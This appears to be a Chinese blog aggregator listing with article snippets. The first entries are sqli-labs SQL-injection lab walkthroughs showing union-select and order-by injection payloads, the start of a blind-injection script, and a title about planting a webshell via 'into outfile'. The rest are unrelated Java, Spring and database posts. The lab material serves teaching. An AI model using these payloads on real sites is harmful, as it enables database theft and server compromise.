    目录sqlilabs靶场第一关0.sql注入解释0.1什么是sql注入0.2sql注入的原理0.3sql注入方法0.3.1数字型注入0.3.2字符型注入1.注入第一步判断请求方式、类型1.1打开我自己本地的靶场http://sql.com/Less-1/（上一期靶场搭建：http://t.csdnimg.cn/mzLeq）1.2.进行手工测试判断有没有sql注入？1.3?id=11.4and1=1
  • sqli-labs靶场（1-6关） 沧海一粟@星火燎原 sql数据库
    1、第一关测试id=1id=1'加一个引号报错，两个引号正常，应该是字符，还有回显猜测字段长度id=1'orderby3--+id=1'orderby4--+字段长度为三，接下来确定位置：id=1'and1=2unionselect1,2,3--+查出库名,及版本号id=1'and1=2unionselect1,database(),version()--+接下来爆出所有表名id=1'and1=2
  • sqli-labs靶场第七关 沧海一粟@星火燎原 数据库oracle
    7、第七关id=1'--+单引号报错,id=1"--+双引号不报错,可以判断是单引号闭合id=1')--+也报错，尝试两个括号闭合，id=1'))--+不报错接下来用脚本爆库importstringimportrequestsnumbers=[1,2,3,4,5,6,7,8,9,0]letters2=list(string.ascii_lowercase)fuhao=['~',"@","$","^
  • get基于报错的sql注入利用-读敏感文件和写入一句话木马 狗蛋的博客之旅 Web安全渗透sql数据库
    环境准备：构建完善的安全渗透测试环境：推荐工具、资源和下载链接_渗透测试靶机下载-CSDN博客基础：GET基于报错的sql注入利用-脱库-CSDN博客1、selectintooutfile或dumpfile写入一句话马这里用Sqli-labs靶场的第一关做演示，之前演示过改关卡的闭合符是单引号，靶场地址：http://127.0.0.1/sqlilabs/less-1/?id=1判断MysQL的存
  • WEB安全渗透测试-pikachu&DVWA&sqli-labs&upload-labs&xss-labs靶场搭建（超详细） aozhan001 web安全xss安全网络安全
    目录phpstudy下载安装一，pikachu靶场搭建1.下载pikachu2.新建一个名为pikachu的数据库3.pikachu数据库配置编辑4.创建网站编辑5.打开网站6.初始化安装二，DVWA靶场搭建1.下载DVWA2.创建一个名为dvwa的数据库3.DVWA数据库配置4.创建网站5.打开登入：http://localhost/dvwa/三，sqli-labs靶场搭建1.下载sqli-la
  • sqli-labs 的安装 f1a94e9a1ea7
    sqli-labs下载：https://github.com/Audi-1/sqli-labs解压后放入phpstudy的www目录下打开sqli-labs文件下sql-connections/db-creds.inc文件修改密码：$dbpass='root'phpstudy创建网站，域名为解压的文件名，php版本要在7以下创建好后打开网站，点击Setup/resetDatabaseforlabs
  • Web安全漏洞专项靶场—SQL注入—docker环境—sqli-labs靶场—详细通关指南 Dr.Neos Web安全漏洞专项靶场mysqlphp渗透测试docker数据库web安全网络安全
    SQL注入—sqli-labs靶场零、前言一、环境搭建①、VirtualBox②、KaliLinux③、Docker二、闯关开始1、Less-1—'—union2、Less-2—数字型—union3、Less-3—')—union4、Less-4—")—union5、Less-5—'—布尔盲注6、Less-6—"—布尔盲注7、Less-7—'))7.1—布尔盲注7.2—文件写入8、Less-8—'
  • CTF 三大测试靶场搭建：DVWA、SQLi-LABS、upload-labs 靶场部署教程（VM + CentOS 7 + Docker） 零号·镜瞳 渗透测试靶场搭建网络安全web安全linuxcentos系统安全
    目录前言靶场介绍DVWASQLi-LABSupload-labs靶场搭建CentOS7虚拟环境准备靶场环境部署系统环境配置Docker环境配置下载Docker配置Docker镜像源启动docker靶场配置靶场镜像抓取创建并运行docker容器靶场的访问&靶场的初始化DVWA靶场重置SQLi-LABS靶场重置upload-labs靶场重置总结补充：docker靶场高级使用进入docker靶场dock
  • java的(PO,VO,TO,BO,DAO,POJO) Cb123456 VOTOBOPOJODAO
    转: http://www.cnblogs.com/yxnchinahlj/archive/2012/02/24/2366110.html   -------------------------------------------------------------------  O/R Mapping 是 Object Relational Mapping（对象关系映
  • spring ioc原理（看完后大家可以自己写一个spring） aijuans spring
             最近，买了本Spring入门书：spring In Action 。大致浏览了下感觉还不错。就是入门了点。Manning的书还是不错的，我虽然不像哪些只看Manning书的人那样专注于Manning,但怀着崇敬 的心情和激情通览了一遍。又一次接受了IOC 、DI、AOP等Spring核心概念。 先就IOC和DI谈一点我的看法。IO
  • MyEclipse 2014中Customize Persperctive设置无效的解决方法 Kai_Ge MyEclipse2014
    高高兴兴下载个MyEclipse2014，发现工具条上多了个手机开发的按钮，心生不爽就想弄掉他！ 结果发现Customize Persperctive失效！！ 有说更新下就好了，可是国内Myeclipse访问不了，何谈更新... so~这里提供了更新后的一下jar包，给大家使用！ 1、将9个jar复制到myeclipse安装目录\plugins中 2、删除和这9个jar同包名但是版本号较
  • SpringMvc上传 120153216 springMVC
      @RequestMapping(value = WebUrlConstant.UPLOADFILE) @ResponseBody public Map<String, Object> uploadFile(HttpServletRequest request,HttpServletResponse httpresponse) { try { //
  • Javascript----HTML DOM 事件 何必如此 JavaScripthtmlWeb
    HTML DOM 事件允许Javascript在HTML文档元素中注册不同事件处理程序。 事件通常与函数结合使用，函数不会在事件发生前被执行！ 注：DOM： 指明使用的 DOM 属性级别。 1.鼠标事件 属性               
  • 动态绑定和删除onclick事件 357029540 JavaScriptjquery
    因为对JQUERY和JS的动态绑定事件的不熟悉，今天花了好久的时间才把动态绑定和删除onclick事件搞定!现在分享下我的过程。      在我的查询页面，我将我的onclick事件绑定到了tr标签上同时传入当前行(this值)参数，这样可以在点击行上的任意地方时可以选中checkbox，但是在我的某一列上也有一个onclick事件是用于下载附件的，当
  • HttpClient|HttpClient请求详解 7454103 apache应用服务器网络协议网络应用Security
    HttpClient 是 Apache Jakarta Common 下的子项目，可以用来提供高效的、最新的、功能丰富的支持 HTTP 协议的客户端编程工具包，并且它支持 HTTP 协议最新的版本和建议。本文首先介绍 HTTPClient，然后根据作者实际工作经验给出了一些常见问题的解决方法。HTTP 协议可能是现在 Internet 上使用得最多、最重要的协议了，越来越多的 Java 应用程序需
  • 递归 逐层统计树形结构数据 darkranger 数据结构
    将集合递归获取树形结构: /** * * 递归获取数据 * @param alist:所有分类 * @param subjname:对应统计的项目名称 * @param pk:对应项目主键 * @param reportList: 最后统计的结果集 * @param count:项目级别 */ public void getReportVO(Arr
  • 访问WEB-INF下使用frameset标签页面出错的原因 aijuans struts2
    <frameset rows="61,*,24" cols="*" framespacing="0" frameborder="no" border="0">        
  • MAVEN常用命令 avords
    Maven库： http://repo2.maven.org/maven2/ Maven依赖查询： http://mvnrepository.com/ Maven常用命令： 1. 创建Maven的普通java项目：    mvn archetype:create    -DgroupId=packageName 
  • PHP如果自带一个小型的web服务器就好了 houxinyou apache应用服务器WebPHP脚本
    最近单位用PHP做网站，感觉PHP挺好的，不过有一些地方不太习惯，比如，环境搭建。PHP本身就是一个网站后台脚本，但用PHP做程序时还要下载apache，配置起来也不太很方便，虽然有好多配置好的apache+php+mysq的环境，但用起来总是心里不太舒服，因为我要的只是一个开发环境，如果是真实的运行环境，下个apahe也无所谓，但只是一个开发环境，总有一种杀鸡用牛刀的感觉。如果php自己的程序中
  • NoSQL数据库之Redis数据库管理(list类型) bijian1013 redis数据库NoSQL
    3.list类型及操作         List是一个链表结构，主要功能是push、pop、获取一个范围的所有值等等，操作key理解为链表的名字。Redis的list类型其实就是一个每个子元素都是string类型的双向链表。我们可以通过push、pop操作从链表的头部或者尾部添加删除元素，这样list既可以作为栈，又可以作为队列。   &nbs
  • 谁在用Hadoop？ bingyingao hadoop数据挖掘公司应用场景
    Hadoop技术的应用已经十分广泛了，而我是最近才开始对它有所了解，它在大数据领域的出色表现也让我产生了兴趣。浏览了他的官网，其中有一个页面专门介绍目前世界上有哪些公司在用Hadoop，这些公司涵盖各行各业，不乏一些大公司如alibaba,ebay,amazon,google,facebook,adobe等，主要用于日志分析、数据挖掘、机器学习、构建索引、业务报表等场景,这更加激发了学习它的热情。
  • 【Spark七十六】Spark计算结果存到MySQL bit1129 mysql
    package spark.examples.db import java.sql.{PreparedStatement, Connection, DriverManager} import com.mysql.jdbc.Driver import org.apache.spark.{SparkContext, SparkConf} object SparkMySQLInteg
  • Scala: JVM上的函数编程 bookjovi scalaerlanghaskell
        说Scala是JVM上的函数编程一点也不为过，Scala把面向对象和函数型编程这两种主流编程范式结合了起来，对于熟悉各种编程范式的人而言Scala并没有带来太多革新的编程思想，scala主要的有点在于Java庞大的package优势，这样也就弥补了JVM平台上函数型编程的缺失，MS家.net上已经有了F#，JVM怎么能不跟上呢？     对本人而言
  • jar打成exe bro_feng java jar exe
    今天要把jar包打成exe，jsmooth和exe4j都用了。 遇见几个问题。记录一下。 两个软件都很好使，网上都有图片教程，都挺不错。 首先肯定是要用自己的jre的，不然不能通用，其次别忘了把需要的lib放到classPath中。 困扰我很久的一个问题是，我自己打包成功后，在一个同事的没有装jdk的电脑上运行，就是不行，报错jvm.dll为无效的windows映像，如截图 最后发现
  • 读《研磨设计模式》-代码笔记-策略模式-Strategy bylijinnan java设计模式
    声明： 本文只为方便我个人查阅和理解，详细的分析以及源代码请移步 原作者的博客http://chjavach.iteye.com/ /* 策略模式定义了一系列的算法，并将每一个算法封装起来，而且使它们还可以相互替换。策略模式让算法独立于使用它的客户而独立变化 简单理解： 1、将不同的策略提炼出一个共同接口。这是容易的，因为不同的策略，只是算法不同，需要传递的参数
  • cmd命令值cvfM命令 chenyu19891124 cmd
         cmd命令还真是强大啊。今天发现jar -cvfM aa.rar @aaalist 就这行命令可以根据aaalist取出相应的文件   例如：      在d：\workspace\prpall\test.java 有这样一个文件，现在想要将这个文件打成一个包。运行如下命令即可比如在d：\wor
  • OpenJWeb(1.8) Java Web应用快速开发平台 comsci java框架Web项目管理企业应用
        OpenJWeb(1.8) Java Web应用快速开发平台的作者是我们技术联盟的成员，他最近推出了新版本的快速应用开发平台  OpenJWeb(1.8)，我帮他做做宣传   OpenJWeb快速开发平台以快速开发为核心，整合先进的java 开源框架，本着自主开发+应用集成相结合的原则，旨在为政府、企事业单位、软件公司等平台用户提供一个架构透
  • Python 报错：IndentationError: unexpected indent daizj pythontab空格缩进
        IndentationError: unexpected indent 是缩进的问题，也有可能是tab和空格混用啦     Python开发者有意让违反了缩进规则的程序不能通过编译，以此来强制程序员养成良好的编程习惯。并且在Python语言里，缩进而非花括号或者某种关键字，被用于表示语句块的开始和退出。增加缩进表示语句块的开
  • HttpClient 超时设置 dongwei_6688 httpclient
    HttpClient中的超时设置包含两个部分： 1. 建立连接超时，是指在httpclient客户端和服务器端建立连接过程中允许的最大等待时间 2. 读取数据超时，是指在建立连接后，等待读取服务器端的响应数据时允许的最大等待时间   在HttpClient 4.x中如下设置：   HttpClient httpclient = new DefaultHttpC
  • 小鱼与波浪 dcj3sjt126com
    一条小鱼游出水面看蓝天，偶然间遇到了波浪。　　小鱼便与波浪在海面上游戏，随着波浪上下起伏、汹涌前进。　　小鱼在波浪里兴奋得大叫：“你每天都过着这么刺激的生活吗？简直太棒了。”　　波浪说：“岂只每天过这样的生活，几乎每一刻都这么刺激！还有更刺激的，要有潮汐变化，或者狂风暴雨，那才是兴奋得心脏都会跳出来。”　　小鱼说：“真希望我也能变成一个波浪，每天随着风雨、潮汐流动，不知道有多么好！”　　很快，小鱼
  • Error Code: 1175 You are using safe update mode and you tried to update a table dcj3sjt126com mysql
    快速高效用：SET SQL_SAFE_UPDATES = 0；下面的就不要看了！ 今日用MySQL Workbench进行数据库的管理更新时，执行一个更新的语句碰到以下错误提示： Error Code: 1175 You are using safe update mode and you tried to update a table without a WHERE that
  • 枚举类型详细介绍及方法定义 gaomysion enumjavaee
    转发 http://developer.51cto.com/art/201107/275031.htm 枚举其实就是一种类型，跟int, char 这种差不多，就是定义变量时限制输入的，你只能够赋enum里面规定的值。建议大家可以看看，这两篇文章，《java枚举类型入门》和《C++的中的结构体和枚举》，供大家参考。 枚举类型是JDK5.0的新特征。Sun引进了一个全新的关键字enum
  • Merge Sorted Array hcx2013 array
    Given two sorted integer arrays nums1 and nums2, merge nums2 into nums1 as one sorted array. Note:You may assume that nums1 has enough space (size that is
  • Expression Language 3.0新特性 jinnianshilongnian el 3.0
    Expression Language 3.0表达式语言规范最终版从2013-4-29发布到现在已经非常久的时间了；目前如Tomcat 8、Jetty 9、GlasshFish 4已经支持EL 3.0。新特性包括：如字符串拼接操作符、赋值、分号操作符、对象方法调用、Lambda表达式、静态字段/方法调用、构造器调用、Java8集合操作。目前Glassfish 4/Jetty实现最好，对大多数新特性
  • 超越算法来看待个性化推荐 liyonghui160com 超越算法来看待个性化推荐
             一提到个性化推荐，大家一般会想到协同过滤、文本相似等推荐算法，或是更高阶的模型推荐算法，百度的张栋说过，推荐40%取决于UI、30%取决于数据、20%取决于背景知识，虽然本人不是很认同这种比例，但推荐系统中，推荐算法起的作用起的作用是非常有限的。       就像任何
  • 写给Javascript初学者的小小建议 pda158 JavaScript
    　　一般初学JavaScript的时候最头痛的就是浏览器兼容问题。在Firefox下面好好的代码放到IE就不能显示了，又或者是在IE能正常显示的代码在firefox又报错了。 　　如果你正初学JavaScript并有着一样的处境的话建议你：初学JavaScript的时候无视DOM和BOM的兼容性，将更多的时间花在 了解语言本身（ECMAScript）。只在特定浏览器编写代码（Chrome/Fi
  • Java 枚举 ShihLei javaenum枚举
    注：文章内容大量借鉴使用网上的资料，可惜没有记录参考地址，只能再传对作者说声抱歉并表示感谢！   一 基础 1）语法      枚举类型只能有私有构造器（这样做可以保证客户代码没有办法新建一个enum的实例）      枚举实例必须最先定义 2）特性     &nb
  • Java SE 6 HotSpot虚拟机的垃圾回收机制 uuhorse javaHotSpotGC垃圾回收VM
    官方资料，关于Java SE 6 HotSpot虚拟机的garbage Collection，非常全，英文。 http://www.oracle.com/technetwork/java/javase/gc-tuning-6-140523.html   Java SE 6 HotSpot[tm] Virtual Machine Garbage Collection Tuning &
按字母分类： ABCDEFGHIJKLMNOPQRSTUVWXYZ其他